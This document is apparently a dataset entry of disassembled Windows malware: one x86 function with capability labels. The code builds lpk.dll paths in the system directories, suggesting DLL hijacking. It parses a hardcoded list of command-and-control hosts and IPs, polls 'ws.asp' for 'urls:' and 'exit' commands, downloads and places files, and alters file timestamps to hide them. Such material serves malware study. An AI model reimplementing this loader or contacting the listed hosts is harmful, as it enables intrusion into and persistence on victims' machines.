Function at 0x10004565
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4ff0
call fcn.10014040
mov eax, dword [0x1002b060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
xor edi, edi
lea eax, [ebp - 0x118]
push edi
push eax
call fcn.10011d50
mov ebx, 0x12c
push ebx
lea eax, [ebp - 0x244]
push edi
push eax
call fcn.10011d50
add esp, 0x18
lea esi, [ebx - 0x2c]
push esi
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x244]
dec eax
mov dword [ebp - 0x4fe4], eax
lea eax, [ebp - 0x244]
push eax
call fcn.10013b90
pop ecx
mov ecx, dword [ebp - 0x4fe4]
cmp byte [eax + ecx], 0x5c
jne 0x100045f7
lea eax, [ebp - 0x244]
push eax
call fcn.10013b90
pop ecx
mov ecx, dword [ebp - 0x4fe4]
mov byte [eax + ecx], 0
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x118]
push str._sLpk.dll
push eax
call fcn.100137e6
lea eax, [ebp - 0x244]
push 0x10022a30
push eax
call fcn.10013aa0
add esp, 0x14
lea eax, [ebp - 0x118]
push eax
call dword [0x10031114]
cmp eax, 0xffffffff
jne 0x10004678
push 0x104
lea eax, [ebp - 0x118]
push edi
push eax
call fcn.10011d50
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
call dword [0x10031114]
cmp eax, 0xffffffff
jne 0x10004663
push 0x1002c0a0
jmp 0x1000466a
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.10013a90
pop ecx
pop ecx
push ebx
lea eax, [ebp - 0x474]
push edi
push eax
call fcn.10011d50
add esp, 0xc
lea eax, [ebp - 0x474]
push eax
push esi
call dword [0x100302a0]
lea eax, [ebp - 0x474]
dec eax
mov dword [ebp - 0x4fe4], eax
lea eax, [ebp - 0x474]
push eax
call fcn.10013b90
pop ecx
mov ecx, dword [ebp - 0x4fe4]
cmp byte [eax + ecx], 0x5c
jne 0x100046d4
lea eax, [ebp - 0x474]
push eax
call fcn.10013b90
pop ecx
mov ecx, dword [ebp - 0x4fe4]
mov byte [eax + ecx], 0
push ebx
lea eax, [ebp - 0x5a0]
push edi
push eax
call fcn.10011d50
add esp, 0xc
push esi
lea eax, [ebp - 0x5a0]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ebx, [ebp - 0x5a0]
mov eax, ebx
push eax
call fcn.10013b90
cmp byte [eax + ebx - 1], 0x5c
pop ecx
jne 0x10004717
mov eax, ebx
push eax
call fcn.10013b90
pop ecx
mov byte [eax + ebx - 1], 0
push esi
push edi
push 0x1002de20
call fcn.10011d50
mov ebx, 0x400
push ebx
lea eax, [ebp - 0xfe0]
push edi
push eax
call fcn.10011d50
mov esi, 0xc00
push esi
lea eax, [ebp - 0x4fe0]
push edi
push eax
call fcn.10011d50
push esi
lea eax, [ebp - 0x43e0]
push edi
push eax
call fcn.10011d50
push 0x100312f8
push 0x100302a4
push 0x1002dfbc
mov esi, 0x10031500
push esi
lea eax, [ebp - 0xfe0]
push str.ids__side_pos__spoe_jjs__sjje_bbs__sbbe_
push eax
call fcn.100137e6
add esp, 0x48
lea eax, [ebp - 0xfe0]
push eax
lea eax, [ebp - 0x4fe0]
push eax
call fcn.1000219c
lea eax, [ebp - 0x4fe0]
push eax
push esi
lea eax, [ebp - 0x43e0]
push str.yxhostwjm_sss_s
push eax
call fcn.100137e6
push ebx
lea eax, [ebp - 0xbe0]
push edi
push eax
call fcn.10011d50
push str.om:80_124.207.106.30:80_www.st_express.com:80_114.112.176.6:80_bbsad.cnbb.com.cn:80_mail.lx360.cn:80_ent.sooyuu.com:80_www.tzhealth.com:80_www.hfi163.com:80_www.reg114.com:80_218.83.161.171:80_www.fdsa432fsat432Os.com:80_www.fdsa432fsatf32Os.com:80_www.fdsa432fsat4s2Os.com:80_www.fdsa432fsat432es.com:80_www.fdsa432fsat432vs.com:80_www.fdsa432asat432Os.com:80
lea eax, [ebp - 0xbe0]
push str.www.google.com:80_www.x0086.c_s
push eax
call fcn.100137e6
lea ebx, [ebp - 0xbe0]
mov eax, ebx
push 0x2c
push eax
call fcn.100136a0
mov esi, 0x2800
push esi
mov dword [ebp - 0x4fe4], eax
lea eax, [ebp - 0x37e0]
push edi
push eax
call fcn.10011d50
add esp, 0x44
cmp dword [ebp - 0x4fe4], edi
je 0x100048df
push 0x2c
push ebx
call fcn.100136a0
pop ecx
pop ecx
mov dword [ebp - 0x4fe4], eax
cmp eax, edi
je 0x1000481f
mov byte [eax], 0
push esi
lea eax, [ebp - 0x37e0]
push edi
push eax
call fcn.10011d50
push 0x3a
push ebx
mov dword [ebp - 0x4fe8], 0x50
call fcn.100136a0
add esp, 0x14
cmp eax, edi
je 0x1000485c
push 0xa
mov byte [eax], 0
inc eax
push edi
push eax
call fcn.10015561
add esp, 0xc
mov dword [ebp - 0x4fe8], eax
push esi
lea eax, [ebp - 0x37e0]
push eax
lea eax, [ebp - 0x43e0]
push eax
push str.ws.asp
push dword [ebp - 0x4fe8]
push ebx
call fcn.1000229a
lea eax, [ebp - 0x37e0]
push eax
call fcn.10021bb5
lea eax, [ebp - 0x37e0]
push str.urls:
push eax
call fcn.10013760
add esp, 0x24
test eax, eax
je 0x100048ce
lea eax, [ebp - 0x37e0]
push 0x10022c9c
push eax
call fcn.10013760
pop ecx
pop ecx
test eax, eax
je 0x100048ce
lea eax, [ebp - 0x37e0]
push str.exit
push eax
call fcn.10013760
pop ecx
pop ecx
test eax, eax
jne 0x100048df
mov eax, dword [ebp - 0x4fe4]
lea ebx, [eax + 1]
cmp eax, edi
jne 0x10004808
lea eax, [ebp - 0x37df]
push str.urls:
push eax
call fcn.10013760
pop ecx
pop ecx
mov dword [ebp - 0x4fe4], eax
cmp eax, edi
je 0x10004ce7
mov ebx, 0x1002f41c
push 0x10022c9c
push dword [ebp - 0x4fe4]
call fcn.10013760
mov esi, eax
pop ecx
pop ecx
cmp esi, edi
je 0x10004ce7
push str.exit
push esi
call fcn.10013760
pop ecx
pop ecx
mov dword [ebp - 0x4fec], eax
cmp eax, edi
je 0x10004ce7
mov byte [eax], 0
lea eax, [esi - 8]
push str.qingli
push eax
mov byte [esi], 0
call fcn.10013760
pop ecx
pop ecx
test eax, eax
jne 0x10004d03
push 0x140
lea eax, [ebp - 0x6e0]
push edi
push eax
call fcn.10011d50
lea eax, [esi - 6]
push eax
lea eax, [ebp - 0x474]
push eax
lea eax, [ebp - 0x6e0]
push str._s_s
push eax
call fcn.100137e6
lea eax, [esi - 4]
push 0x10022c80
push eax
mov dword [ebp - 0x4ff0], eax
call fcn.10013760
add esp, 0x24
test eax, eax
je 0x100049e3
push 0x100
lea eax, [ebp - 0x7e0]
push edi
push eax
call fcn.10011d50
lea eax, [ebp - 0x7e0]
push eax
lea eax, [ebp - 0x6e0]
push eax
call fcn.100024eb
lea eax, [esi + 3]
push eax
mov dword [ebp - 0x4fe8], eax
lea eax, [ebp - 0x7e0]
push eax
call fcn.10014970
add esp, 0x1c
jmp 0x100049f9
lea eax, [esi + 3]
push eax
push 0x100312f8
mov dword [ebp - 0x4fe8], eax
call fcn.10014970
pop ecx
pop ecx
test eax, eax
je 0x10004cc5
mov esi, 0x104
push esi
lea eax, [ebp - 0x348]
push edi
push eax
call fcn.10011d50
add esp, 0xc
push edi
push edi
push esi
lea eax, [ebp - 0x348]
push eax
mov eax, dword [ebp - 0x4fe4]
add eax, 5
push eax
push edi
call dword [0x1002f7f0]
mov eax, dword [0x10022b84]
mov dword [ebp - 0xc], eax
mov eax, dword [0x10022b88]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x348]
push 0x100228fc
push eax
call fcn.1001401f
mov esi, eax
pop ecx
pop ecx
cmp esi, edi
je 0x10004a7c
push 2
push 0xfffffffffffffffb
push esi
call fcn.10014f57
push esi
push 1
lea eax, [ebp - 0xc]
push 3
push eax
call fcn.10013f46
push esi
call fcn.10013c88
add esp, 0x20
mov esi, 0x10022c78
lea edi, [ebp - 0x14]
push 3
lea eax, [ebp - 0x13]
movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0xc]
push eax
movsw word es:[edi], word [esi]
call fcn.10021bb5
pop ecx
push eax
call fcn.10012131
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x348]
jne 0x10004cbc
mov esi, 0x1002de20
push esi
push eax
call fcn.100024eb
push dword [ebp - 0x4fe8]
push esi
call fcn.10014970
add esp, 0x10
test eax, eax
jne 0x10004cb6
push 0x10022c80
push dword [ebp - 0x4ff0]
call fcn.10013760
pop ecx
pop ecx
test eax, eax
je 0x10004b1e
lea eax, [ebp - 0x6e0]
push eax
call fcn.10014935
pop ecx
push 1
lea eax, [ebp - 0x6e0]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [0x1003145c]
push 0
lea eax, [ebp - 0x348]
push eax
call dword [0x1003010c]
jmp 0x10004cb6
mov esi, 0x1002c0a0
push esi
call dword [0x10031114]
cmp eax, 0xffffffff
jne 0x10004b50
mov edi, 0x10030000
push edi
call dword [0x10031114]
cmp eax, 0xffffffff
jne 0x10004b47
push 0x100311c0
jmp 0x10004b48
push edi
push esi
call fcn.10013a90
pop ecx
pop ecx
push 0
mov edi, 0x10031618
push edi
call dword [0x100311b4]
push edi
call fcn.10014935
pop ecx
push edi
call dword [0x10031114]
cmp eax, 0xffffffff
jne 0x10004b7a
push edi
push esi
call fcn.10014cc9
pop ecx
pop ecx
push edi
call fcn.10014935
push esi
call fcn.10014935
pop ecx
pop ecx
push 1
push esi
lea eax, [ebp - 0x348]
push eax
call dword [0x1003145c]
push 0
push 0x2000000
push 3
push 0
push 5
push 0xc0000000
push esi
call dword [0x1003021c]
mov edi, dword [sym.imp.KERNEL32.DLL_SetFileTime]
push ebx
push ebx
push ebx
push eax
mov dword [0x1002f754], eax
call edi
push dword [0x1002f754]
call dword [0x1003108c]
push dword [0x1002b038]
push esi
call dword [0x100311b4]
lea eax, [ebp - 0x244]
push str...Thumbs.db
push eax
call fcn.10013aa0
pop ecx
pop ecx
xor esi, esi
push esi
lea eax, [ebp - 0x244]
push eax
call dword [0x100311b4]
lea eax, [ebp - 0x244]
push eax
call fcn.10014935
pop ecx
lea eax, [ebp - 0x244]
push eax
call dword [0x10031114]
cmp eax, 0xffffffff
jne 0x10004c32
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.10014cc9
pop ecx
pop ecx
lea eax, [ebp - 0x244]
push eax
call fcn.10014935
lea eax, [ebp - 0x118]
push eax
call fcn.10014935
pop ecx
pop ecx
push 1
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [0x1003145c]
push esi
push 0x2000000
push 3
push esi
push 5
push 0xc0000000
lea eax, [ebp - 0x118]
push eax
call dword [0x1003021c]
push ebx
push ebx
push ebx
push eax
mov dword [0x1002f754], eax
call edi
push dword [0x1002f754]
call dword [0x1003108c]
push dword [0x1002b038]
lea eax, [ebp - 0x118]
push eax
call dword [0x100311b4]
lea eax, [ebp - 0x348]
push eax
call fcn.100043cb
pop ecx
lea eax, [ebp - 0x348]
push eax
call fcn.10014935
pop ecx
xor edi, edi
mov eax, dword [ebp - 0x4fec]
inc eax
push str.urls:
push eax
call fcn.10013760
pop ecx
pop ecx
mov dword [ebp - 0x4fe4], eax
cmp eax, edi
jne 0x10004905
lea eax, [ebp - 0x118]
push eax
call fcn.100043cb
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001386a
leave
ret
call fcn.10004294
push edi
call fcn.10015256
int3